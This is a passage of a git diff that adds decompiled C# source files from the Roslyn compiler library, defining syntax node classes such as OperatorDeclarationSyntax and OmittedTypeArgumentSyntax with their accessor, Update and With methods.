visitor.VisitObjectCreationExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitObjectCreationExpression(this); + } + + public ObjectCreationExpressionSyntax Update(SyntaxToken newKeyword, TypeSyntax type, ArgumentListSyntax? argumentList, InitializerExpressionSyntax? initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (newKeyword != NewKeyword || type != Type || argumentList != ArgumentList || initializer != Initializer) + { + ObjectCreationExpressionSyntax objectCreationExpressionSyntax = SyntaxFactory.ObjectCreationExpression(newKeyword, type, argumentList, initializer); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return objectCreationExpressionSyntax; + } + return objectCreationExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override BaseObjectCreationExpressionSyntax WithNewKeywordCore(SyntaxToken newKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithNewKeyword(newKeyword); + } + + public new ObjectCreationExpressionSyntax WithNewKeyword(SyntaxToken newKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(newKeyword, Type, ArgumentList, Initializer); + } + + public ObjectCreationExpressionSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, type, ArgumentList, Initializer); + } + + internal override BaseObjectCreationExpressionSyntax WithArgumentListCore(ArgumentListSyntax? argumentList) + { + return WithArgumentList(argumentList); + } + + public new ObjectCreationExpressionSyntax WithArgumentList(ArgumentListSyntax? argumentList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, Type, argumentList, Initializer); + } + + internal override BaseObjectCreationExpressionSyntax WithInitializerCore(InitializerExpressionSyntax? initializer) + { + return WithInitializer(initializer); + } + + public new ObjectCreationExpressionSyntax WithInitializer(InitializerExpressionSyntax? initializer) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(NewKeyword, Type, ArgumentList, initializer); + } + + internal override BaseObjectCreationExpressionSyntax AddArgumentListArgumentsCore(params ArgumentSyntax[] items) + { + return AddArgumentListArguments(items); + } + + public new ObjectCreationExpressionSyntax AddArgumentListArguments(params ArgumentSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + ArgumentListSyntax argumentListSyntax = ArgumentList ?? SyntaxFactory.ArgumentList(); + return WithArgumentList(argumentListSyntax.WithArguments(argumentListSyntax.Arguments.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OmittedArraySizeExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OmittedArraySizeExpressionSyntax.cs new file mode 100644 index 0000000..55bd55b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OmittedArraySizeExpressionSyntax.cs @@ -0,0 +1,57 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class OmittedArraySizeExpressionSyntax : ExpressionSyntax +{ + public SyntaxToken OmittedArraySizeExpressionToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OmittedArraySizeExpressionSyntax)(object)((SyntaxNode)this).Green).omittedArraySizeExpressionToken, ((SyntaxNode)this).Position, 0); + + internal OmittedArraySizeExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitOmittedArraySizeExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitOmittedArraySizeExpression(this); + } + + public OmittedArraySizeExpressionSyntax Update(SyntaxToken omittedArraySizeExpressionToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (omittedArraySizeExpressionToken != OmittedArraySizeExpressionToken) + { + OmittedArraySizeExpressionSyntax omittedArraySizeExpressionSyntax = SyntaxFactory.OmittedArraySizeExpression(omittedArraySizeExpressionToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return omittedArraySizeExpressionSyntax; + } + return omittedArraySizeExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public OmittedArraySizeExpressionSyntax WithOmittedArraySizeExpressionToken(SyntaxToken omittedArraySizeExpressionToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(omittedArraySizeExpressionToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OmittedTypeArgumentSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OmittedTypeArgumentSyntax.cs new file mode 100644 index 0000000..db55c01 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OmittedTypeArgumentSyntax.cs @@ -0,0 +1,57 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class OmittedTypeArgumentSyntax : TypeSyntax +{ + public SyntaxToken OmittedTypeArgumentToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OmittedTypeArgumentSyntax)(object)((SyntaxNode)this).Green).omittedTypeArgumentToken, ((SyntaxNode)this).Position, 0); + + internal OmittedTypeArgumentSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitOmittedTypeArgument(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitOmittedTypeArgument(this); + } + + public OmittedTypeArgumentSyntax Update(SyntaxToken omittedTypeArgumentToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (omittedTypeArgumentToken != OmittedTypeArgumentToken) + { + OmittedTypeArgumentSyntax omittedTypeArgumentSyntax = SyntaxFactory.OmittedTypeArgument(omittedTypeArgumentToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return omittedTypeArgumentSyntax; + } + return omittedTypeArgumentSyntax.WithAnnotations(annotations); + } + return this; + } + + public OmittedTypeArgumentSyntax WithOmittedTypeArgumentToken(SyntaxToken omittedTypeArgumentToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(omittedTypeArgumentToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OperatorDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OperatorDeclarationSyntax.cs new file mode 100644 index 0000000..da72c0d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OperatorDeclarationSyntax.cs @@ -0,0 +1,406 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class OperatorDeclarationSyntax : BaseMethodDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private TypeSyntax? returnType; + + private ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier; + + private ParameterListSyntax? parameterList; + + private BlockSyntax? body; + + private ArrowExpressionClauseSyntax? expressionBody; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public TypeSyntax ReturnType => ((SyntaxNode)this).GetRed(ref returnType, 2); + + public ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier => ((SyntaxNode)this).GetRed(ref explicitInterfaceSpecifier, 3); + + public SyntaxToken OperatorKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OperatorDeclarationSyntax)(object)((SyntaxNode)this).Green).operatorKeyword, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public SyntaxToken CheckedKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken checkedKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OperatorDeclarationSyntax)(object)((SyntaxNode)this).Green).checkedKeyword; + if (checkedKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)checkedKeyword, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + } + } + + public SyntaxToken OperatorToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OperatorDeclarationSyntax)(object)((SyntaxNode)this).Green).operatorToken, ((SyntaxNode)this).GetChildPosition(6), ((SyntaxNode)this).GetChildIndex(6)); + + public override ParameterListSyntax ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 7); + + public override BlockSyntax? Body => ((SyntaxNode)this).GetRed(ref body, 8); + + public override ArrowExpressionClauseSyntax? ExpressionBody => ((SyntaxNode)this).GetRed(ref expressionBody, 9); + + public override SyntaxToken SemicolonToken + { + get + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OperatorDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(10), ((SyntaxNode)this).GetChildIndex(10)); + } + } + + public OperatorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, TypeSyntax returnType, SyntaxToken operatorKeyword, SyntaxToken operatorToken, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, modifiers, returnType, ExplicitInterfaceSpecifier, operatorKeyword, operatorToken, parameterList, body, expressionBody, semicolonToken); + } + + public OperatorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken operatorToken, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, modifiers, returnType, explicitInterfaceSpecifier, operatorKeyword, CheckedKeyword, operatorToken, parameterList, body, expressionBody, semicolonToken); + } + + internal OperatorDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref returnType, 2), + 3 => ((SyntaxNode)this).GetRed(ref explicitInterfaceSpecifier, 3), + 7 => ((SyntaxNode)this).GetRed(ref parameterList, 7), + 8 => ((SyntaxNode)this).GetRed(ref body, 8), + 9 => ((SyntaxNode)this).GetRed(ref expressionBody, 9), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => returnType, + 3 => explicitInterfaceSpecifier, + 7 => parameterList, + 8 => body, + 9 => expressionBody, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitOperatorDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitOperatorDeclaration(this); + } + + public OperatorDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken checkedKeyword, SyntaxToken operatorToken, ParameterListSyntax parameterList, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || returnType != ReturnType || explicitInterfaceSpecifier != ExplicitInterfaceSpecifier || operatorKeyword != OperatorKeyword || checkedKeyword != CheckedKeyword || operatorToken != OperatorToken || parameterList != ParameterList || body != Body || expressionBody != ExpressionBody || semicolonToken != SemicolonToken) + { + OperatorDeclarationSyntax operatorDeclarationSyntax = SyntaxFactory.OperatorDeclaration(attributeLists, modifiers, returnType, explicitInterfaceSpecifier, operatorKeyword, checkedKeyword, operatorToken, parameterList, body, expressionBody, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return operatorDeclarationSyntax; + } + return operatorDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new OperatorDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, OperatorToken, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new OperatorDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, ReturnType, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, OperatorToken, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + public OperatorDeclarationSyntax WithReturnType(TypeSyntax returnType) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, returnType, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, OperatorToken, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + public OperatorDeclarationSyntax WithExplicitInterfaceSpecifier(ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, explicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, OperatorToken, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + public OperatorDeclarationSyntax WithOperatorKeyword(SyntaxToken operatorKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, operatorKeyword, CheckedKeyword, OperatorToken, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + public OperatorDeclarationSyntax WithCheckedKeyword(SyntaxToken checkedKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, OperatorKeyword, checkedKeyword, OperatorToken, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + public OperatorDeclarationSyntax WithOperatorToken(SyntaxToken operatorToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, operatorToken, ParameterList, Body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithParameterListCore(ParameterListSyntax parameterList) + { + return WithParameterList(parameterList); + } + + public new OperatorDeclarationSyntax WithParameterList(ParameterListSyntax parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, OperatorToken, parameterList, Body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithBodyCore(BlockSyntax? body) + { + return WithBody(body); + } + + public new OperatorDeclarationSyntax WithBody(BlockSyntax? body) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, OperatorToken, ParameterList, body, ExpressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithExpressionBodyCore(ArrowExpressionClauseSyntax? expressionBody) + { + return WithExpressionBody(expressionBody); + } + + public new OperatorDeclarationSyntax WithExpressionBody(ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, OperatorToken, ParameterList, Body, expressionBody, SemicolonToken); + } + + internal override BaseMethodDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonToken(semicolonToken); + } + + public new OperatorDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, ReturnType, ExplicitInterfaceSpecifier, OperatorKeyword, CheckedKeyword, OperatorToken, ParameterList, Body, ExpressionBody, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new OperatorDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new OperatorDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override BaseMethodDeclarationSyntax AddParameterListParametersCore(params ParameterSyntax[] items) + { + return AddParameterListParameters(items); + } + + public new OperatorDeclarationSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithParameterList(ParameterList.WithParameters(ParameterList.Parameters.AddRange((IEnumerable)items))); + } + + internal override BaseMethodDeclarationSyntax AddBodyAttributeListsCore(params AttributeListSyntax[] items) + { + return AddBodyAttributeLists(items); + } + + public new OperatorDeclarationSyntax AddBodyAttributeLists(params AttributeListSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Body ?? SyntaxFactory.Block(); + return WithBody(blockSyntax.WithAttributeLists(blockSyntax.AttributeLists.AddRange((IEnumerable)items))); + } + + internal override BaseMethodDeclarationSyntax AddBodyStatementsCore(params StatementSyntax[] items) + { + return AddBodyStatements(items); + } + + public new OperatorDeclarationSyntax AddBodyStatements(params StatementSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BlockSyntax blockSyntax = Body ?? SyntaxFactory.Block(); + return WithBody(blockSyntax.WithStatements(blockSyntax.Statements.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OperatorMemberCrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OperatorMemberCrefSyntax.cs new file mode 100644 index 0000000..ad7616c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/OperatorMemberCrefSyntax.cs @@ -0,0 +1,139 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class OperatorMemberCrefSyntax : MemberCrefSyntax +{ + private CrefParameterListSyntax? parameters; + + public SyntaxToken OperatorKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OperatorMemberCrefSyntax)(object)((SyntaxNode)this).Green).operatorKeyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken CheckedKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken checkedKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OperatorMemberCrefSyntax)(object)((SyntaxNode)this).Green).checkedKeyword; + if (checkedKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)checkedKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken OperatorToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OperatorMemberCrefSyntax)(object)((SyntaxNode)this).Green).operatorToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public CrefParameterListSyntax? Parameters => ((SyntaxNode)this).GetRed(ref parameters, 3); + + public OperatorMemberCrefSyntax Update(SyntaxToken operatorKeyword, SyntaxToken operatorToken, CrefParameterListSyntax? parameters) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(operatorKeyword, CheckedKeyword, operatorToken, parameters); + } + + internal 